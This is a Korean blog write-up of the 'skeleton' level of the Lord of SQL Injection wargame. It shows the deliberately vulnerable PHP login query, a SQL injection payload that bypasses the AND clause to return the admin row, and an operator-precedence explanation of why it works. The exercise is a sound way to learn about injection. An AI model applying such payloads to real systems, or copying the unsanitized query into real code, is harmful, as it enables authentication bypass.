반응형
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
연산자의 순서를 생각하며 풀어주면 된다.
연산자 우선순위
AND > OR
query : select id from prob_skeleton where id='guest' and pw='a' or id='admin' or '1' and 1=0
->
(id = 'guest' and pw = 'a') or id='admin' or ('1' and 1=0)
And 연산자가 두개 이상일 때 앞에꺼 먼저 하던 뒤에꺼 먼저 하던 순서 상관없음. 편한대로.
->
(False) or id='admin' or (False)
->
id='admin'
반응형
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] DARKKNIGHT (0) | 2020.12.15 |
---|---|
[LOS] GOLEM (0) | 2020.12.14 |
[LOS] VAMPIRE (0) | 2020.12.13 |
[LOS] TROLL (0) | 2020.12.13 |
[LOS] ORGE (0) | 2020.12.13 |